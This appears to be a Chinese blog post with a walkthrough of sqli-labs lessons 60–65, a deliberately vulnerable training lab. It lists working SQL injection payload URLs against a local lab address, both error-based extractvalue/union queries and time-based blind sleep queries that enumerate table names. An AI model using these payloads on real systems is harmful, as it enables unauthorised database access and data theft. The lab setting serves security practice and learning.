sqli-labs————Less-60-65

最新推荐文章于 2024-05-29 22:14:46 发布

原创最新推荐文章于 2024-05-29 22:14:46 发布 · 1.1k 阅读

1 ·

CC 4.0 BY-SA版权

【渗透测试实战】同时被 2 个专栏收录

160 篇文章

订阅专栏

Sqli-labs实战

76 篇文章

订阅专栏

本文提供了多个SQL注入攻击的有效payload示例，展示了如何利用这些payload从数据库中提取信息。通过不同的payload构造，可以针对特定的漏洞进行攻击并获取敏感数据。

Less-60

payload：

http://192.168.11.136/sqli-labs/Less-60?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-61

payload:

http://192.168.11.136/sqli-labs/Less-61?id=-1'))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

Less-62

payload:

http://192.168.11.136/sqli-labs/Less-62?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+

Less-63

payload:

http://192.168.11.136/sqli-labs/Less-63?id=1'and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+

Less-64

payload:

http://192.168.11.136/sqli-labs/Less-64?id=1))and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=77,0,sleep(10))--+

Less-65

payload:

http://192.168.11.136/sqli-labs/Less-65?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))=79,0,sleep(10))--+